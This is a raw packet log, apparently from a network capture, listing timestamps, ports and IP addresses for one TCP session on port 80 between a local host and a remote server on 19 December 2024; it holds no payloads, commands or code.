Dec 19, 2024 08:11:51.313807964 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.314039946 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.314408064 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.315080881 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.315095901 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.315135956 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.315854073 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.316004992 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.316056967 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.316931963 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.317023039 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.317063093 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.318154097 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.318167925 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.318211079 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.319025993 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.319130898 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.319174051 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.320055962 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.320384026 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.320422888 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.321100950 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.321223974 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.321274042 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.322134972 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.322285891 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.322330952 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.323271990 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.323362112 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.323442936 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.324242115 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.324326038 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.325331926 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.325345993 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.325381994 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.325416088 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.326428890 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.326442957 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.326508999 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.327323914 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.327531099 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.327574968 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.328402042 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.328612089 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.328658104 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.329499006 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.329577923 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.329719067 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.330461979 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.330527067 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.330599070 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.331486940 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.331666946 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.331712961 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.332561016 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.332648993 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.332761049 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.333570957 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.333699942 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.333739996 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.334613085 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.334739923 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.334784985 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.335819006 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.335832119 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.335892916 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.336833954 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.336847067 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.336889029 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.337943077 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.337955952 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.338002920 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.339004040 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.339016914 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.339063883 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.339828014 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.339927912 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.340020895 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.340915918 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.340948105 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.341023922 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.341948986 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.342109919 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.342155933 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.342947006 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.343194962 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.343245983 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.344048977 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.344098091 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.344325066 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.345046997 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.345150948 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.345195055 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.346113920 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.346127987 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.346183062 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.347126961 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.347193956 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.347369909 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.348130941 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.348261118 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.348328114 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.349208117 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.349263906 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.349503040 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.350295067 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.350320101 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.350361109 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.351244926 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.351357937 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.351875067 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.352298021 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.352433920 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.352473021 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.353372097 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.353496075 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.353540897 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.354420900 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.354475021 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.354522943 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.355547905 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.355564117 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.355618954 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.356704950 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.356718063 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.356760979 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.358016014 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.358030081 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.358086109 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.358922005 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.410634041 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.496192932 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.496272087 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.496432066 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.496494055 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.496546030 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.496773958 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.497782946 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.497796059 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.497845888 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.498526096 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.498620033 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.498714924 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.499552011 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.499711037 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.499774933 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.500750065 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.500761986 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.500797987 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.501722097 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.501774073 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.501988888 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.502672911 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.502815008 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.502855062 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.503762960 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.503776073 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.503818989 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.504796028 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.504914045 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.505249023 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.505754948 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.505918026 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.505959034 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.506835938 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.507067919 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.507107019 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.508023977 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.508037090 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.508069992 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.508965969 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.509196043 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.509241104 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.509963036 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.510082006 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.510116100 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.511104107 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.511115074 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.511157036 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.512059927 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.512331009 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.512377977 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.513118982 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.513187885 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.513359070 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.514117956 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.514257908 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.514300108 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.515201092 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.515319109 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.515386105 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.516202927 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.516307116 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.516360998 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.517256975 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.517400026 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.517438889 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.518388033 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.518402100 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.518439054 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.519304991 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.519503117 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.519575119 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.520349026 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.520637989 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.520674944 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.521404028 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.522505045 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.522516012 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.522556067 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.522989988 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.523029089 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.523581028 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.523592949 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.523638010 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.524960041 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.524971962 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.525010109 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.525557995 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.525672913 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.525722027 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.526957989 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.526968956 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.527004957 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.528312922 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.528337955 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.528430939 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.528913975 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.528924942 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.528958082 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.530167103 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.530179024 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.530213118 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.530841112 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.530936003 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.531033993 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.532051086 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.532063007 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.532114029 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.532946110 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.533037901 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.533085108 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.533900023 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.533986092 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.534023046 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.534993887 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.535300970 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.535389900 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.536267042 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.536278963 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.536334991 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.537182093 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.537194014 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.537229061 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.538291931 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.538302898 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.538350105 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.539267063 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.539279938 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.539328098 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.540112019 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.540319920 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.540360928 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.541181087 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.541270018 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.541328907 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.542222023 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.542371035 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.542414904 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.543344975 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.543356895 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.543405056 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.544307947 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.544684887 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.544727087 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.545316935 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.545450926 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.545500994 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.546559095 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.546571016 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.546621084 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.547471046 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.547519922 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.547705889 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.548434019 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.548702002 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.548748970 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.549524069 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.549604893 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.549648046 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.551275969 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.598136902 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.694909096 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.695025921 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.695200920 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.695349932 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.695539951 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.695589066 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.696824074 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.696835995 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.696877956 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.697654963 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.697736979 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.697814941 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.698492050 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.698803902 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.698905945 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.699534893 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.699709892 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.699774981 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.700584888 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.700628996 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.700783968 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.701627970 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.701760054 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.701802969 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.702764034 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.702775002 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.702826023 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.703669071 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.703875065 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.703922033 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.704833031 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.704844952 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.704902887 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.705902100 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.705941916 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.706013918 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.706963062 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.706974983 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.707016945 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.707869053 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.707998991 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.708054066 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.708873987 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.709011078 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.709057093 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.709947109 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.710140944 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.710269928 CET	49738	80	192.168.2.4	147.45.47.15
